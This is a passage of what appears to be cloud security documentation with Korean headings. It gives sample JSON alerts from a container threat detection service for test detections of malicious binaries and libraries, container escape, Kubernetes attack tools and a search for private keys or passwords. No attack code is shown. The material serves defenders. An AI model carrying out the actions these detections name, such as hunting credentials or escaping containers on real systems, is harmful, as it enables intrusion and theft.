            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_search_private_keys_or_passwords"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}

실행: 추가된 악성 바이너리 실행됨

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Added Malicious Binary Executed",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T19:51:22.538Z",
    "database": {},
    "eventTime": "2023-11-13T19:51:22.383Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "COMMAND_AND_CONTROL",
      "primaryTechniques": [
        "INGRESS_TOOL_TRANSFER"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/tmp/malicious-binary-dd922bc4ee3b49fd-should-trigger\"",
          "size": "68",
          "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
          "hashedSize": "68",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/tmp/malicious-binary-dd922bc4ee3b49fd-should-trigger\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.68.2.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-added-test-malicious-binary\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.68.2.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.68.2.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.68.2.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "7",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "added_malicious_binary_executed"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699905066",
            "nanos": 618571329
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1105/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T19:51:06.618571329Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}

실행: 추가된 악성 라이브러리가 로드됨

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Added Malicious Library Loaded",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T21:40:14.340Z",
    "database": {},
    "eventTime": "2023-11-13T21:40:14.209Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "COMMAND_AND_CONTROL",
      "primaryTechniques": [
        "INGRESS_TOOL_TRANSFER"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/malicious_files/drop_mal_lib\"",
          "size": "5005064",
          "sha256": "fe2e70de9f77047d3bf5debe3135811300c9c69b937b7fd3e2ca8451a942d5fb",
          "hashedSize": "5005064",
          "partiallyHashed": false
        },
        "libraries": [
          {
            "path": "\"/tmp/added-malicious-library-299fd066380ce690-should-trigger\"",
            "size": "68",
            "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
            "hashedSize": "68",
            "partiallyHashed": false
          }
        ],
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/malicious_files/drop_mal_lib\"",
          "\"/tmp/added-malicious-library-299fd066380ce690-should-trigger\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.108.174.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-added-malicious-library\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.108.174.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.108.174.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.108.174.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "8",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "added_malicious_library_loaded"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699911603",
            "nanos": 535268047
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1105/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:40:03.535268047Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}

실행: 기본 제공되는 악성 바이너리가 실행됨

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Built in Malicious Binary Executed",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T21:38:57.405Z",
    "database": {},
    "eventTime": "2023-11-13T21:38:57.250Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "NATIVE_API"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/malicious_files/eicar_testing_file\"",
          "size": "68",
          "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
          "hashedSize": "68",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/malicious_files/eicar_testing_file\"",
          "\"built-in-malicious-binary-818358caa95b6d42\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-built-in-malicious-binary\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "7",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "built_in_malicious_binary_executed"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699911519",
            "nanos": 603253608
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1106/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.603253608Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}

실행: 컨테이너 이스케이프

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Container Escape",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2024-10-21T19:08:35.255Z",
    "database": {},
    "eventTime": "2024-10-21T19:08:35.091Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2024-06-17T18:50:13Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2024-10-21T19:07:41.503072537Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-container-escape-suspicious-tool-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_container_escape"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/21225e29b4225a4eca16996445e243fdab8051a0ad4bc232b907ef5e9b67f66b/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}

실행: Kubernetes 공격 도구 실행

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Kubernetes Attack Tool Execution",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "1970-01-01T00:00:00Z"
      }
    ],
    "createTime": "2024-10-21T19:08:35.255Z",
    "database": {},
    "eventTime": "2024-10-21T19:08:35.091Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "1970-01-01T00:00:00Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2024-10-21T19:07:41.503072537Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "RESOURCE_DEVELOPMENT",
      "primaryTechniques": [
        "OBTAIN_CAPABILITIES"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-kubernetes-attack-suspicious-tool-864dfecdc8d5f5d4\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
